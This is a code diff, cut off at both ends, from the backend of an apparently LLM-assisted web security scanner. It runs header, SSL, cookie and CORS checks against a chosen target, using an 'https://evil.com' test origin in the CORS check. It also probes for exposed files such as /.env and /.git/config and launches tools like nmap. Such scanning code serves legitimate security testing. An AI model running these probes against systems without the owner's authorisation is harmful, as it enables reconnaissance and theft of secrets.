request.message, + "timestamp": datetime.utcnow().isoformat() + } + session["messages"].append(user_message) + + # Build context for LLM + target = session["target"] + recon_data = session["recon_data"] + findings = session["findings"] + + # Build conversation history for LLM + conversation = [] + for msg in session["messages"]: + if msg["role"] == "system": + continue # System message handled separately + conversation.append({"role": msg["role"], "content": msg["content"]}) + + # Get system message + system_message = session["messages"][0]["content"] + + # Add current context to system message + context_update = f""" + +**CURRENT SESSION CONTEXT:** +- Target: {target} +- Endpoints discovered: {len(recon_data.get('endpoints', []))} +- Vulnerabilities found: {len(findings)} +- Technologies detected: {', '.join(recon_data.get('technologies', [])) or 'Not yet analyzed'} + +**Recent findings:** +{chr(10).join([f"- [{f.get('severity', 'unknown').upper()}] {f.get('title', 'Unknown')}" for f in findings[-5:]]) if findings else 'None yet'} +""" + + full_system = system_message + context_update + + # Execute with LLM + try: + from backend.core.autonomous_agent import LLMClient, LLMConnectionError + import aiohttp + import json + import re + + llm = LLMClient() + llm_status = llm.get_status() + + if not llm.is_available(): + # Build detailed error message + error_details = [] + if not llm_status.get("anthropic_lib") and not llm_status.get("openai_lib"): + error_details.append("No LLM libraries installed (pip install anthropic openai)") + if not llm_status.get("ollama_available"): + error_details.append("Ollama not running (start with: ollama serve)") + if not llm_status.get("lmstudio_available"): + error_details.append("LM Studio not running") + if not llm_status.get("has_google_key"): + error_details.append("No GOOGLE_API_KEY set") + + error_msg = f"""⚠️ **No LLM Provider Available** + +Configure at least one of the following: + +1. **Claude (Anthropic)**: Set `ANTHROPIC_API_KEY` environment variable +2. **OpenAI/ChatGPT**: Set `OPENAI_API_KEY` environment variable +3. **Google Gemini**: Set `GOOGLE_API_KEY` environment variable +4. **Ollama (Local)**: Run `ollama serve` and ensure a model is pulled +5. **LM Studio (Local)**: Start LM Studio server on port 1234 + +**Current status:** +{chr(10).join(f"- {d}" for d in error_details) if error_details else "- Unknown configuration issue"} + +Provider: {llm_status.get('provider', 'None')}""" + + assistant_response = { + "role": "assistant", + "content": error_msg, + "timestamp": datetime.utcnow().isoformat(), + "metadata": {"error": True, "api_error": True} + } + session["messages"].append(assistant_response) + return { + "session_id": session_id, + "response": assistant_response["content"], + "findings": findings, + "error": "LLM not configured", + "llm_status": llm_status + } + + # Build the prompt for the LLM + task_prompt = f"""User instruction: {request.message} + +Execute this security testing task against {target}. + +If the task requires HTTP requests, describe what requests you would make and what you're looking for. +If you identify any vulnerabilities or security issues, format them clearly with: +- Title +- Severity (critical/high/medium/low/info) +- Description +- Affected endpoint +- Evidence/payload used +- Remediation recommendation + +Provide detailed, actionable results.""" + + # Generate response + response_text = await llm.generate( + task_prompt, + system=full_system, + max_tokens=4000 + ) + + # Execute actual HTTP tests if the prompt suggests testing + test_results = [] + if any(keyword in request.message.lower() for keyword in ['test', 'scan', 'check', 'identify', 'find', 'analyze', 'headers', 'security']): + test_results = await _execute_realtime_tests(session, request.message, target) + + # Combine LLM response with actual test results + final_response = response_text + if test_results: + final_response += "\n\n**🔍 Actual Test Results:**\n" + "\n".join(test_results) + + # Parse and add findings from test results + new_findings = _parse_test_findings(test_results, target) + for finding in new_findings: + if finding not in session["findings"]: + session["findings"].append(finding) + + # CRITICAL: Parse LLM response for findings and add to session + llm_findings = parse_llm_findings(response_text, target) + new_llm_findings_count = 0 + for finding in llm_findings: + # Check if finding already exists (by title) + existing_titles = [f.get('title', '').lower() for f in session["findings"]] + if finding.get('title', '').lower() not in existing_titles: + session["findings"].append(finding) + new_llm_findings_count += 1 + + total_new_findings = len(test_results) + new_llm_findings_count + + # Add assistant response + assistant_response = { + "role": "assistant", + "content": final_response, + "timestamp": datetime.utcnow().isoformat(), + "metadata": { + "tests_executed": len(test_results) > 0, + "new_findings": total_new_findings, + "provider": llm_status.get("provider") + } + } + session["messages"].append(assistant_response) + + # Save findings to database for dashboard visibility + await _save_realtime_findings_to_db(session_id, session) + + return { + "session_id": session_id, + "response": final_response, + "findings": session["findings"], + "tests_executed": len(test_results) > 0, + "new_findings_count": total_new_findings + } + + except LLMConnectionError as e: + # Specific API connection error + error_response = { + "role": "assistant", + "content": f"""❌ **API Connection Error** + +{str(e)} + +**Troubleshooting:** +- Verify your API key is valid and has sufficient credits +- Check your internet connection +- If using Ollama/LM Studio, ensure the service is running +- Try a different LLM provider""", + "timestamp": datetime.utcnow().isoformat(), + "metadata": {"error": True, "api_error": True} + } + session["messages"].append(error_response) + return { + "session_id": session_id, + "response": error_response["content"], + "findings": session["findings"], + "error": str(e), + "api_error": True + } + + except Exception as e: + error_response = { + "role": "assistant", + "content": f"❌ Error executing task: {str(e)}", + "timestamp": datetime.utcnow().isoformat(), + "metadata": {"error": True} + } + session["messages"].append(error_response) + return { + "session_id": session_id, + "response": error_response["content"], + "findings": session["findings"], + "error": str(e) + } + + +async def _execute_realtime_tests(session: Dict, prompt: str, target: str) -> List[str]: + """Execute actual security tests based on the user's prompt""" + import aiohttp + from urllib.parse import urlparse + + results = [] + prompt_lower = prompt.lower() + + try: + connector = aiohttp.TCPConnector(ssl=False, limit=10) + timeout = aiohttp.ClientTimeout(total=15) + + async with aiohttp.ClientSession(connector=connector, timeout=timeout) as http_session: + # Header analysis + if any(kw in prompt_lower for kw in ['header', 'misconfiguration', 'security header', 'cabeçalho', 'cabecalho']): + results.extend(await _test_security_headers(http_session, target, session)) + + # Technology detection + if any(kw in prompt_lower for kw in ['technology', 'tech', 'stack', 'framework', 'tecnologia']): + results.extend(await _detect_technologies(http_session, target, session)) + + # SSL/TLS check + if any(kw in prompt_lower for kw in ['ssl', 'tls', 'certificate', 'https', 'certificado']): + results.extend(await _check_ssl_config(target, session)) + + # Common endpoints discovery + if any(kw in prompt_lower for kw in ['endpoint', 'discover', 'find', 'path', 'directory', 'descobrir', 'diretório']): + results.extend(await _discover_endpoints(http_session, target, session)) + + # Cookie analysis + if any(kw in prompt_lower for kw in ['cookie', 'session', 'sessão', 'sessao']): + results.extend(await _analyze_cookies(http_session, target, session)) + + # CORS check + if any(kw in prompt_lower for kw in ['cors', 'cross-origin', 'origin']): + results.extend(await _check_cors(http_session, target, session)) + + # General security scan + if any(kw in prompt_lower for kw in ['full', 'complete', 'all', 'comprehensive', 'geral', 'completo', 'tudo']): + results.extend(await _test_security_headers(http_session, target, session)) + results.extend(await _detect_technologies(http_session, target, session)) + results.extend(await _analyze_cookies(http_session, target, session)) + results.extend(await _check_cors(http_session, target, session)) + + except Exception as e: + results.append(f"⚠️ Test execution error: {str(e)}") + + return results + + +async def _test_security_headers(session: aiohttp.ClientSession, target: str, rt_session: Dict) -> List[str]: + """Test for security header misconfigurations""" + results = [] + + try: + async with session.get(target) as resp: + headers = dict(resp.headers) + rt_session["recon_data"]["headers"] = headers + + # Security headers to check + security_headers = { + "Strict-Transport-Security": { + "missing": "HIGH - HSTS header missing. Site vulnerable to protocol downgrade attacks.", + "present": "✅ HSTS present" + }, + "X-Content-Type-Options": { + "missing": "MEDIUM - X-Content-Type-Options header missing. Browser may MIME-sniff responses.", + "present": "✅ X-Content-Type-Options present" + }, + "X-Frame-Options": { + "missing": "MEDIUM - X-Frame-Options header missing. Site may be vulnerable to clickjacking.", + "present": "✅ X-Frame-Options present" + }, + "Content-Security-Policy": { + "missing": "MEDIUM - Content-Security-Policy header missing. No XSS mitigation at browser level.", + "present": "✅ CSP present" + }, + "X-XSS-Protection": { + "missing": "LOW - X-XSS-Protection header missing (deprecated but still useful for older browsers).", + "present": "✅ X-XSS-Protection present" + }, + "Referrer-Policy": { + "missing": "LOW - Referrer-Policy header missing. May leak sensitive URLs to third parties.", + "present": "✅ Referrer-Policy present" + }, + "Permissions-Policy": { + "missing": "INFO - Permissions-Policy header missing. Browser features not restricted.", + "present": "✅ Permissions-Policy present" + } + } + + results.append(f"**Security Headers Analysis for {target}:**\n") + + findings_added = [] + for header, info in security_headers.items(): + if header.lower() not in [h.lower() for h in headers.keys()]: + results.append(f"❌ {info['missing']}") + # Add to session findings + severity = "high" if "HIGH" in info['missing'] else "medium" if "MEDIUM" in info['missing'] else "low" if "LOW" in info['missing'] else "info" + findings_added.append({ + "title": f"Missing {header} Header", + "severity": severity, + "vulnerability_type": "security_misconfiguration", + "description": info['missing'], + "affected_endpoint": target, + "remediation": f"Add the {header} header to all HTTP responses." + }) + else: + results.append(f"{info['present']}: {headers.get(header, headers.get(header.lower(), 'N/A'))[:100]}") + + # Check for information disclosure headers + dangerous_headers = ["Server", "X-Powered-By", "X-AspNet-Version", "X-AspNetMvc-Version"] + for dh in dangerous_headers: + if dh.lower() in [h.lower() for h in headers.keys()]: + value = headers.get(dh, headers.get(dh.lower(), "")) + results.append(f"⚠️ INFO - {dh} header present: {value} (Information disclosure)") + findings_added.append({ + "title": f"Information Disclosure via {dh} Header", + "severity": "info", + "vulnerability_type": "information_disclosure", + "description": f"The {dh} header reveals server information: {value}", + "affected_endpoint": target, + "remediation": f"Remove or mask the {dh} header from responses." + }) + + # Add findings to session + for finding in findings_added: + if finding not in rt_session["findings"]: + rt_session["findings"].append(finding) + + except Exception as e: + results.append(f"⚠️ Could not analyze headers: {str(e)}") + + return results + + +async def _detect_technologies(session: aiohttp.ClientSession, target: str, rt_session: Dict) -> List[str]: + """Detect technologies used by the target""" + results = [] + technologies = [] + + try: + async with session.get(target) as resp: + body = await resp.text() + headers = dict(resp.headers) + + # Header-based detection + server = headers.get("Server", headers.get("server", "")) + powered_by = headers.get("X-Powered-By", headers.get("x-powered-by", "")) + + if server: + technologies.append(f"Server: {server}") + if powered_by: + technologies.append(f"X-Powered-By: {powered_by}") + + # Content-based detection + tech_signatures = { + "WordPress": ["wp-content", "wp-includes", "wordpress"], + "React": ["react", "_reactRoot", "data-reactroot"], + "Vue.js": ["vue", "v-cloak", "__vue__"], + "Angular": ["ng-version", "angular", "ng-app"], + "jQuery": ["jquery", "jQuery"], + "Bootstrap": ["bootstrap"], + "Laravel": ["laravel", "csrf-token"], + "Django": ["csrfmiddlewaretoken", "django"], + "ASP.NET": ["__VIEWSTATE", "aspnet", ".aspx"], + "PHP": [".php", "PHPSESSID"], + "Node.js": ["express", "node"], + "Nginx": ["nginx"], + "Apache": ["apache"], + "Cloudflare": ["cloudflare", "cf-ray"], + } + + for tech, signatures in tech_signatures.items(): + for sig in signatures: + if sig.lower() in body.lower() or sig.lower() in str(headers).lower(): + if tech not in technologies: + technologies.append(tech) + break + + rt_session["recon_data"]["technologies"] = technologies + + results.append(f"**Technologies Detected on {target}:**\n") + if technologies: + for tech in technologies: + results.append(f"🔧 {tech}") + else: + results.append("ℹ️ No specific technologies detected") + + except Exception as e: + results.append(f"⚠️ Could not detect technologies: {str(e)}") + + return results + + +async def _check_ssl_config(target: str, rt_session: Dict) -> List[str]: + """Check SSL/TLS configuration""" + import ssl + import socket + from urllib.parse import urlparse + + results = [] + parsed = urlparse(target) + hostname = parsed.netloc.split(':')[0] + port = 443 + + try: + context = ssl.create_default_context() + with socket.create_connection((hostname, port), timeout=10) as sock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: + cert = ssock.getpeercert() + protocol = ssock.version() + cipher = ssock.cipher() + + results.append(f"**SSL/TLS Analysis for {hostname}:**\n") + results.append(f"✅ Protocol: {protocol}") + results.append(f"✅ Cipher: {cipher[0]} ({cipher[2]} bits)") + + # Certificate info + if cert: + subject = dict(x[0] for x in cert.get('subject', [])) + issuer = dict(x[0] for x in cert.get('issuer', [])) + not_after = cert.get('notAfter', 'Unknown') + + results.append(f"📜 Certificate CN: {subject.get('commonName', 'N/A')}") + results.append(f"📜 Issuer: {issuer.get('organizationName', 'N/A')}") + results.append(f"📜 Expires: {not_after}") + + # Check for weak protocols + if protocol in ['SSLv2', 'SSLv3', 'TLSv1', 'TLSv1.1']: + results.append(f"❌ HIGH - Weak protocol {protocol} in use!") + rt_session["findings"].append({ + "title": f"Weak SSL/TLS Protocol ({protocol})", + "severity": "high", + "vulnerability_type": "ssl_misconfiguration", + "description": f"Server supports deprecated {protocol} protocol", + "affected_endpoint": target, + "remediation": "Disable SSLv2, SSLv3, TLSv1, and TLSv1.1. Use TLSv1.2 or TLSv1.3 only." + }) + + except ssl.SSLError as e: + results.append(f"❌ SSL Error: {str(e)}") + except socket.timeout: + results.append(f"⚠️ Connection timeout to {hostname}:443") + except Exception as e: + results.append(f"⚠️ Could not check SSL: {str(e)}") + + return results + + +async def _discover_endpoints(session: aiohttp.ClientSession, target: str, rt_session: Dict) -> List[str]: + """Discover common endpoints""" + results = [] + + common_paths = [ + "/robots.txt", "/sitemap.xml", "/.git/config", "/.env", + "/admin", "/login", "/api", "/api/v1", "/swagger", "/docs", + "/wp-admin", "/wp-login.php", "/administrator", + "/.well-known/security.txt", "/debug", "/test", "/backup" + ] + + results.append(f"**Endpoint Discovery for {target}:**\n") + found_endpoints = [] + + for path in common_paths: + try: + url = target.rstrip('/') + path + async with session.get(url, allow_redirects=False) as resp: + if resp.status in [200, 301, 302, 401, 403]: + status_icon = "✅" if resp.status == 200 else "🔒" if resp.status in [401, 403] else "➡️" + results.append(f"{status_icon} [{resp.status}] {path}") + found_endpoints.append({"url": url, "status": resp.status, "path": path}) + + # Check for sensitive files + if path in ["/.git/config", "/.env"] and resp.status == 200: + rt_session["findings"].append({ + "title": f"Sensitive File Exposed: {path}", + "severity": "high" if path == "/.env" else "medium", + "vulnerability_type": "information_disclosure", + "description": f"Sensitive file {path} is publicly accessible", + "affected_endpoint": url, + "remediation": f"Restrict access to {path} via web server configuration." + }) + except: + pass + + if found_endpoints: + rt_session["recon_data"]["endpoints"].extend(found_endpoints) + else: + results.append("ℹ️ No common endpoints found") + + return results + + +async def _analyze_cookies(session: aiohttp.ClientSession, target: str, rt_session: Dict) -> List[str]: + """Analyze cookie security""" + results = [] + + try: + async with session.get(target) as resp: + cookies = resp.cookies + set_cookie_headers = resp.headers.getall('Set-Cookie', []) + + results.append(f"**Cookie Analysis for {target}:**\n") + + if not set_cookie_headers: + results.append("ℹ️ No cookies set by the server") + return results + + for cookie_header in set_cookie_headers: + cookie_parts = cookie_header.split(';') + cookie_name = cookie_parts[0].split('=')[0].strip() + + flags = cookie_header.lower() + + issues = [] + if 'httponly' not in flags: + issues.append("Missing HttpOnly flag") + if 'secure' not in flags: + issues.append("Missing Secure flag") + if 'samesite' not in flags: + issues.append("Missing SameSite attribute") + + if issues: + results.append(f"⚠️ Cookie '{cookie_name}': {', '.join(issues)}") + rt_session["findings"].append({ + "title": f"Insecure Cookie Configuration: {cookie_name}", + "severity": "medium" if "HttpOnly" in str(issues) else "low", + "vulnerability_type": "security_misconfiguration", + "description": f"Cookie '{cookie_name}' has security issues: {', '.join(issues)}", + "affected_endpoint": target, + "remediation": "Set HttpOnly, Secure, and SameSite flags on all sensitive cookies." + }) + else: + results.append(f"✅ Cookie '{cookie_name}': Properly configured") + + except Exception as e: + results.append(f"⚠️ Could not analyze cookies: {str(e)}") + + return results + + +async def _check_cors(session: aiohttp.ClientSession, target: str, rt_session: Dict) -> List[str]: + """Check CORS configuration""" + results = [] + + try: + # Test with a malicious origin + headers = {"Origin": "https://evil.com"} + async with session.get(target, headers=headers) as resp: + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + + results.append(f"**CORS Analysis for {target}:**\n") + + if acao == "*": + results.append("⚠️ MEDIUM - CORS allows any origin (*)") + rt_session["findings"].append({ + "title": "CORS Misconfiguration - Wildcard Origin", + "severity": "medium", + "vulnerability_type": "security_misconfiguration", + "description": "CORS policy allows any origin (*) to make cross-origin requests", + "affected_endpoint": target, + "remediation": "Configure specific allowed origins instead of wildcard." + }) + elif acao == "https://evil.com": + severity = "high" if acac.lower() == "true" else "medium" + results.append(f"❌ {severity.upper()} - CORS reflects arbitrary origin!") + if acac.lower() == "true": + results.append("❌ HIGH - Credentials are also allowed!") + rt_session["findings"].append({ + "title": "CORS Misconfiguration - Origin Reflection", + "severity": severity, + "vulnerability_type": "security_misconfiguration", + "description": f"CORS policy reflects arbitrary origins. Credentials allowed: {acac}", + "affected_endpoint": target, + "remediation": "Validate allowed origins against a whitelist. Never reflect arbitrary origins." + }) + elif not acao: + results.append("✅ No CORS headers returned (default same-origin policy)") + else: + results.append(f"✅ CORS configured: {acao}") + + except Exception as e: + results.append(f"⚠️ Could not check CORS: {str(e)}") + + return results + + +def _parse_test_findings(test_results: List[str], target: str) -> List[Dict]: + """Parse test results and extract structured findings""" + # Findings are already added during test execution + return [] + + +async def _save_realtime_findings_to_db(session_id: str, session: Dict): + """Save realtime session findings to database for dashboard visibility""" + from sqlalchemy import select + + findings = session.get("findings", []) + if not findings: + return + + target = session.get("target", "") + session_name = session.get("name", f"Realtime Session {session_id}") + + try: + async with async_session_factory() as db: + # Check if we already have a scan for this session + scan_id = session.get("db_scan_id") + + if not scan_id: + # Create a new scan record for this realtime session + scan = Scan( + name=f"Realtime: {session_name}", + status="running", + scan_type="realtime", + recon_enabled=True, + progress=50, + current_phase="testing", + ) + db.add(scan) + await db.commit() + await db.refresh(scan) + scan_id = scan.id + session["db_scan_id"] = scan_id + + # Create target record + target_record = Target( + scan_id=scan_id, + url=target, + status="active" + ) + db.add(target_record) + await db.commit() + + # Get existing vulnerability titles for this scan + existing_result = await db.execute( + select(Vulnerability.title).where(Vulnerability.scan_id == scan_id) + ) + existing_titles = {row[0].lower() for row in existing_result.fetchall()} + + # Count severities + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} + + # Add new findings + for finding in findings: + title = finding.get("title", "Unknown Finding") + if title.lower() in existing_titles: + continue + + severity = finding.get("severity", "info").lower() + if severity in severity_counts: + severity_counts[severity] += 1 + + vuln = Vulnerability( + scan_id=scan_id, + title=title, + vulnerability_type=finding.get("vulnerability_type", "unknown"), + severity=severity, + cvss_score=finding.get("cvss_score"), + cvss_vector=finding.get("cvss_vector"), + cwe_id=finding.get("cwe_id"), + description=finding.get("description", ""), + affected_endpoint=finding.get("affected_endpoint", target), + poc_payload=finding.get("evidence", finding.get("payload", "")), + impact=finding.get("impact", ""), + remediation=finding.get("remediation", ""), + references=finding.get("references", []), + ai_analysis=f"Identified during realtime session {session_id}" + ) + db.add(vuln) + + # Update scan counts + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + if scan: + scan.total_vulnerabilities = len(findings) + scan.critical_count = sum(1 for f in findings if f.get("severity", "").lower() == "critical") + scan.high_count = sum(1 for f in findings if f.get("severity", "").lower() == "high") + scan.medium_count = sum(1 for f in findings if f.get("severity", "").lower() == "medium") + scan.low_count = sum(1 for f in findings if f.get("severity", "").lower() == "low") + scan.info_count = sum(1 for f in findings if f.get("severity", "").lower() == "info") + + await db.commit() + + except Exception as e: + print(f"Error saving realtime findings to DB: {e}") + import traceback + traceback.print_exc() + + +@router.get("/realtime/{session_id}") +async def get_realtime_session(session_id: str): + """Get the current state of a real-time session""" + if session_id not in realtime_sessions: + raise HTTPException(status_code=404, detail="Session not found") + + session = realtime_sessions[session_id] + + return { + "session_id": session_id, + "name": session["name"], + "target": session["target"], + "status": session["status"], + "created_at": session["created_at"], + "messages": session["messages"][1:], # Exclude system message + "findings": session["findings"], + "recon_data": session["recon_data"] + } + + +@router.get("/realtime/{session_id}/report") +async def generate_realtime_report(session_id: str, format: str = "json"): + """Generate a report from the real-time session findings + + Args: + session_id: The session ID + format: "json" (default) or "html" for full HTML report + """ + if session_id not in realtime_sessions: + raise HTTPException(status_code=404, detail="Session not found") + + session = realtime_sessions[session_id] + findings = session["findings"] + + # Count severities + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} + for f in findings: + sev = f.get("severity", "info").lower() + if sev in severity_counts: + severity_counts[sev] += 1 + + # Generate executive summary + if severity_counts["critical"] > 0 or severity_counts["high"] > 0: + risk_level = "HIGH" + summary = f"Critical security issues identified. {severity_counts['critical']} critical and {severity_counts['high']} high severity vulnerabilities require immediate attention." + elif severity_counts["medium"] > 0: + risk_level = "MEDIUM" + summary = f"Security improvements needed. {severity_counts['medium']} medium severity issues should be addressed." + else: + risk_level = "LOW" + summary = "No critical issues found. Minor improvements recommended for defense in depth." + + # Generate HTML report if requested + if format.lower() == "html": + from fastapi.responses import HTMLResponse + from backend.core.report_generator import HTMLReportGenerator + + generator = HTMLReportGenerator() + + session_data = { + "name": session["name"], + "target": session["target"], + "created_at": session["created_at"], + "recon_data": session["recon_data"] + } + + # Get tool results if any + tool_results = session.get("tool_results", []) + + html_content = generator.generate_report( + session_data=session_data, + findings=findings, + scan_results=tool_results + ) + + return HTMLResponse(content=html_content, media_type="text/html") + + return { + "session_id": session_id, + "target": session["target"], + "generated_at": datetime.utcnow().isoformat(), + "risk_level": risk_level, + "executive_summary": summary, + "severity_breakdown": severity_counts, + "total_findings": len(findings), + "findings": findings, + "technologies": session["recon_data"].get("technologies", []), + "recommendations": [ + "Address all critical and high severity findings immediately", + "Review and fix medium severity issues within 30 days", + "Implement security headers across all endpoints", + "Conduct regular security assessments" + ] + } + + +@router.delete("/realtime/{session_id}") +async def delete_realtime_session(session_id: str): + """Delete a real-time session""" + if session_id not in realtime_sessions: + raise HTTPException(status_code=404, detail="Session not found") + + del realtime_sessions[session_id] + return {"message": f"Session {session_id} deleted"} + + +@router.get("/realtime/sessions/list") +async def list_realtime_sessions(): + """List all active real-time sessions""" + return { + "sessions": [ + { + "session_id": sid, + "name": s["name"], + "target": s["target"], + "status": s["status"], + "created_at": s["created_at"], + "findings_count": len(s["findings"]), + "messages_count": len(s["messages"]) - 1 # Exclude system message + } + for sid, s in realtime_sessions.items() + ] + } + + +# ==================== Tool Execution Endpoints ==================== + +class ToolExecutionRequest(BaseModel): + """Request to execute a security tool""" + tool: str = Field(..., description="Tool name (e.g., 'dirb', 'feroxbuster', 'nmap')") + options: Optional[Dict] = Field(default=None, description="Additional tool options") + timeout: Optional[int] = Field(default=300, description="Timeout in seconds") + + +@router.get("/realtime/tools/list") +async def list_available_tools(): + """List all available security tools""" + from backend.core.tool_executor import SecurityTool + + return { + "tools": [ + { + "id": tool_id, + "name": tool["name"], + "description": tool["description"] + } + for tool_id, tool in SecurityTool.TOOLS.items() + ] + } + + +@router.get("/realtime/tools/status") +async def get_tools_status(): + """Check if Docker tool executor is available""" + from backend.core.tool_executor import get_tool_executor + + try: + executor = await get_tool_executor() + return { + "available": executor.is_available(), + "docker_status": "running" if executor.is_available() else "not available", + "active_containers": len(executor.active_containers), + "tools_count": len(executor.get_available_tools()) + } + except Exception as e: + return { + "available": False, + "docker_status": "error", + "error": str(e) + } + + +@router.post("/realtime/{session_id}/execute-tool") +async def execute_security_tool(session_id: str, request: ToolExecutionRequest): + """Execute a security tool against the session's target""" + if session_id not in realtime_sessions: + raise HTTPException(status_code=404, detail="Session not found") + + session = realtime_sessions[session_id] + target = session["target"] + + from backend.core.tool_executor import get_tool_executor, ToolStatus + + try: + executor = await get_tool_executor() + + if not executor.is_available(): + raise HTTPException( + status_code=503, + detail="Docker tool executor not available. Ensure Docker is running." + ) + + # Execute the tool + result = await executor.execute_tool( + tool_name=request.tool, + target=target, + options=request.options, + timeout=request.timeout + ) + + # Store tool result in session + if "tool_results" not in session: + session["tool_results"] = [] + + tool_result = { + "tool": result.tool, + "command": result.command, + "status": result.status.value, + "output": result.output[:10000], # Limit output size + "error": result.error, + "duration_seconds": result.duration_seconds, + "started_at": result.started_at, + "completed_at": result.completed_at, + "findings_count": len(result.findings) + } + session["tool_results"].append(tool_result) + + # Add findings from tool to session findings + for finding in result.findings: + if finding not in session["findings"]: + session["findings"].append(finding) + + # Add assistant message about tool execution + tool_message = { + "role": "assistant", + "content": f"""🔧 **Tool Execution: {result.tool}** + +**Command:** `{result.command}` +**Status:** {result.status.value.upper()} +**Duration:** {result.duration_seconds:.1f}s +**Findings:** {len(result.findings)} discovered + +{f'**Output Preview:**' + chr(10) + '```' + chr(10) + result.output[:1500] + ('...' if len(result.output) > 1500 else '') + chr(10) + '```' if result.output else ''} +{f'**Error:** {result.error}' if result.error else ''}""", + "timestamp": datetime.utcnow().isoformat(), + "metadata": { + "tool_execution": True, + "tool": result.tool, + "new_findings": len(result.findings) + } + } + session["messages"].append(tool_message) + + return { + "session_id": session_id, + "tool": result.tool, + "status": result.status.value, + "duration_seconds": result.duration_seconds, + "findings": result.findings, + "output_preview": result.output[:2000] if result.output else None, + "error": result.error if result.error else None + } + + except HTTPException: + raise + except Exception as e: + raise HTTPException(status_code=500, detail=f"Tool execution failed: {str(e)}") + + +# ==================== LLM Finding Parser ==================== + +def parse_llm_findings(llm_response: str, target: str) -> List[Dict]: + """Parse findings from LLM response text with comprehensive pattern matching""" + import re + + findings = [] + + # CVSS and CWE mappings for common vulnerabilities + VULN_METADATA = { + "sql injection": { + "cvss_score": 9.8, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "cwe_id": "CWE-89", + "owasp": "A03:2021 - Injection" + }, + "xss": { + "cvss_score": 6.1, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "cwe_id": "CWE-79", + "owasp": "A03:2021 - Injection" + }, + "cross-site scripting": { + "cvss_score": 6.1, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "cwe_id": "CWE-79", + "owasp": "A03:2021 - Injection" + }, + "command injection": { + "cvss_score": 9.8, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "cwe_id": "CWE-78", + "owasp": "A03:2021 - Injection" + }, + "remote code execution": { + "cvss_score": 10.0, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", + "cwe_id": "CWE-94", + "owasp": "A03:2021 - Injection" + }, + "ssrf": { + "cvss_score": 7.5, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "cwe_id": "CWE-918", + "owasp": "A10:2021 - SSRF" + }, + "idor": { + "cvss_score": 6.5, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", + "cwe_id": "CWE-639", + "owasp": "A01:2021 - Broken Access Control" + }, + "path traversal": { + "cvss_score": 7.5, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "cwe_id": "CWE-22", + "owasp": "A01:2021 - Broken Access Control" + }, + "lfi": { + "cvss_score": 7.5, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "cwe_id": "CWE-98", + "owasp": "A01:2021 - Broken Access Control" + }, + "authentication bypass": { + "cvss_score": 9.8, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "cwe_id": "CWE-287", + "owasp": "A07:2021 - Identification and Authentication Failures" + }, + "csrf": { + "cvss_score": 4.3, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", + "cwe_id": "CWE-352", + "owasp": "A01:2021 - Broken Access Control" + }, + "clickjacking": { + "cvss_score": 4.3, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", + "cwe_id": "CWE-1021", + "owasp": "A05:2021 - Security Misconfiguration" + }, + "open redirect": { + "cvss_score": 4.7, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", + "cwe_id": "CWE-601", + "owasp": "A01:2021 - Broken Access Control" + }, + "missing header": { + "cvss_score": 3.7, + "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", + "cwe_id": "CWE-693", + "owasp": "A05:2021 - Security Misconfiguration" + }, + "information disclosure": { + "cvss_score": 5.3, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", + "cwe_id": "CWE-200", + "owasp": "A01:2021 - Broken Access Control" + }, + "cookie": { + "cvss_score": 3.1, + "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", + "cwe_id": "CWE-614", + "owasp": "A05:2021 - Security Misconfiguration" + }, + "cors": { + "cvss_score": 5.3, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", + "cwe_id": "CWE-942", + "owasp": "A05:2021 - Security Misconfiguration" + }, + "ssl": { + "cvss_score": 5.9, + "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", + "cwe_id": "CWE-295", + "owasp": "A02:2021 - Cryptographic Failures" + }, + "hsts": { + "cvss_score": 4.8, + "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", + "cwe_id": "CWE-319", + "owasp": "A02:2021 - Cryptographic Failures" + } + } + + def get_vuln_metadata(text: str) -> Dict: + """Get CVSS/CWE metadata based on vulnerability type""" + text_lower = text.lower() + for vuln_type, metadata in VULN_METADATA.items(): + if vuln_type in text_lower: + return metadata + return { + "cvss_score": 5.0, + "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", + "cwe_id": "CWE-1000", + "owasp": "A00:2021 - Unclassified" + } + + # Pattern 1: Structured finding format with various markdown styles + structured_patterns = [ + # **Title:** xxx / **Severity:** xxx / **Description:** xxx + 